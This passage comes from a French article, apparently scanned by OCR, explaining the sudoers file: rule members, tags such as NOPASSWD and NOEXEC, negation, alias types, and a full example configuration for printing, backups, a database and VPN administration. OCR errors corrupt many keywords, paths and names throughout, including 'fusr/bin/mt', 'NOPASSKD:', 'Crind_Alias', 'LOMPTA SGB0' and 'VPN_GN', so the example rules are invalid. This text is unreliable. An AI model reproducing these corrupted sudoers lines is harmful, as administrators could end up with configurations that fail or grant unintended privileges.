= avec quelle Identité [optionnel, par défaut root] : il s'agit de
lidentite sous laquelle la commande s'exécutera. Cela peut étre
un login, un groupe Unix, un netgroup, mais aussi un funas 41925
ou bien un UID (Precede d'un #) ;

= et sous quelle(s) Condition(s) [optionnel, a choisir parmi
PASSWD:, NOPASSWD:, EXEC:, NDEXEC:] : est une liste d'arguments
affectant le comportement de Sudo.

= PASSHD: et noPassyD: font que Sudo demandera ou non une
authentification avant d'exécuter une commande ;

= EXEC: et NOEXED: qui active ou non l'option noexec.

= fait quoi ? [obligatoire] : définit la ou les commandes gérée(s)
par cette regle Sudo. Cela peut prendre la forme d'un chemin
complet d'un programme (avec ou sans arguments), le chemin
d'un répertoire (auguel cas tous les exécutables dans ce répertoire
sont concernés par la régle Sudo, mais pas les éventuels sous-
répertoires) ou un Cmad Al ias.

Si des arguments sont spécifiés, ils doivent apparaitre dans la
commande Sudo pour que cela soit validé par Sudo. ' représente
l'absence d'arguments.

Chaque membre d'une régle Sudo peut étre précédé d'un ou
plusieurs points d'exclamation. Un nombre impair de '| ' implique
une négation de I'objet, tandis qu'un nombre pair les annule tous.
Dans la description des différents membres d'une régle, j'ai abordé
les alias. Ceux-ci sont des variables avec chacun un type bien
déterminé (il en existe quatre : User Alizs, Host Al as, Runz
ou Cmnd _Alias), Les alias representent des Ilstes de valeurs propres
a chaque membre (un fost_21ias ne contient pas de login !).
Chague alias est mis sous la forme d'une chaine de caractéres
commengant par une majuscule et composée de majuscules, de
nombres et du caractere ' *

ATias

Le mot reservé 'ALL' peut servir dans chacun des membres d'une
régle. Lors de I'évaluation de celle-ci, chaque AL sera toujours
valide quelle que soit la comparaison en cours.

Partons des exemples du début et créons un suoer s approprié.

# Dafinitions des alias de machine

Host ATias  PRINT = hermes

Host_Alias SAVE_US = athena, hermes, lugh, mercure
Host_Alias  SGBD = mercure

Host_Alias VPN_GW = faranis, lugh

# Dé&finition des alias d'utilisateur

User_Alias COMETA = arthur

# Le groupe backup inclut Tes utilisataurs Marco et Stéphane
User_ATias  SAVE_RESTORE = %backup

lser_Alias  SYS_ADMIN = chris

lser_Alias  VPN_ACMIN = philippe

i Définition des utilisateurs eibles {En plus
Runas_Alias DBA = postgres

de root qui est celui par défsut)

# Définition des alias de commande
Cmnd_Alias PRINTING = /usr/bin/lpc, [usr/bin/lprm
# 0n peut répartir une régle sur plusieurs Tignes en se servant de '\'
Crind_Alias DUMPS = fusr/bin/mt, fusr/sbin/dump, \
fusr/shin/restore
# I¢i seule les commandes tcpdump ayant comme premier argument -i encd
seront accephees
Cmnd_Alias IPSEC_TRC={usr/sbin/tepdump -7 encd *
% sudoedit permet d'éditer de maniére sécurisée un Fichier (Voir sudo(8)).
Cmnd_ATias IPSEC_CTRL = /shin/ipsecctl, /sbin/isakmpd |
sudoedit /etc/ipsec.conf

# Wodification de certaines aptions

# L'authentification sudo se fera tty par tty et non pas globalement,
# noexec est appliqué par défaut @ chaque régle,

Defaults  tiy_tickets, noexec

# Une option qui n'est pas politiguement correcte mais uniguement

# lorsque 1'utilisateur cible est root

Defaults>root insults

8l
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# £t maintenant les régles :

# Le chef compiatle peut gérer les fmpressions sur hermes

[OMPTA PRINT = PRINTING

# gt administrer 1z base ge données sur mercure, soit en langant
# des commandes en tant que postares soit en devenant pastgres
LOMPTA SGB0 = (DBA) ALL, {root) fuse/bin/su postgres
SAVE_RESTORE SAVE_US = DUMPS

# Je peux passer toute Tes commandes avec sude sans m'authentifier
# sur tous les serveurs sauf sur Tugh et taranis ol je dofs au

# préalable n'authentifier,

SYS_ADMIN AL, ! VPN_GN = NOPASSKD: ALL

SYS_ADMIN  VPH_GN = ALL

# Non collégue philippe, peut & 13 fois aérer et déboguer ces VPHs
VPN_ADKIN  VPK_GN = NOPASSKD: TPSEC_TRC, IPSEC_CTRL

Le mot de la fin ?

Alors, vous voulez toujours communiquer le mot de passe root a tous ?
Plus d'excuse maintenant, si Sudo fonctionne sur votre systéme, vous
ne devez plus fournir les pleins droits a vos utilisateurs s'ils n'en ont
pas besoin. Et, comme en cuisine, le plus difficile sera de déterminer les
droits exacts nécessaires a chacun pour travailler. Ni trop, ni trop peu.

Je n‘ai sirement pas tout abordé dans cet article, donc, n'hésitez pas
a consulter les manuels (sudo &), visudo (8 et sudoers(5)) pour tous les
details.

En résumé, Sudo permet d'octroyer des droits limités a autrui de fagon
portable et, au final, assez simplement par un fichier ASCII. Ce n'est pas
la solution ultime, mais y en a-t-il une ?
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